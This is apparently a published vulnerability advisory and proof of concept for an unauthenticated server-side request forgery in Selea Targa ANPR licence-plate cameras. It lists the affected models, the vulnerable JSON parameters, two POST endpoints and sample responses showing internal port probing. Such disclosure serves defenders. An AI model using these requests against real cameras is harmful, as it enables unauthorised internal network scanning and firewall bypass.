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Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)


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# Exploit Title: Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Unauthenticated SSRF

Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                  CPS: 4.013(201105)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
Selea ANPR camera within several functionalities. The application parses user supplied
data in the POST JSON parameters 'ipnotify_address' and 'url' to construct an image
request or check DNS for IP notification. Since no validation is carried out on the
parameters, an attacker can specify an external domain and force the application to
make an HTTP request to an arbitrary destination host. This can be used by an external
attacker for example to bypass firewalls and initiate a service and network enumeration
on the internal network through the affected application.

Tested on: GNU/Linux 3.10.53 (armv7l)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5617
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5617.php




POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1


Response (port 80):

{"bandwidth": 1.3571428571428572,"elapsed_ms": 14,"result": "OK","size": 19}

Response (port 8080):

{"code": 500,"error": "Error sending notification: Connection refused"}


POST /cps/test_url HTTP/1.1


Response (port 80):

{"elapsed_ms": 2,"jpeg": "GGh0bWw+CjxoZWFkPgo8dGl0bGU+U2VsZWEgQU5QU4BjYW1lcmE8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0vbhl2ZS5odG1sIj4KPC9oZWFkPgo8Ym9keT48L2JvJHk+CjwvaHRtbD4KCg==","result": "OK"}

Response (port 8081):

{"elapsed_ms": 1,"error": "Connection refused"}
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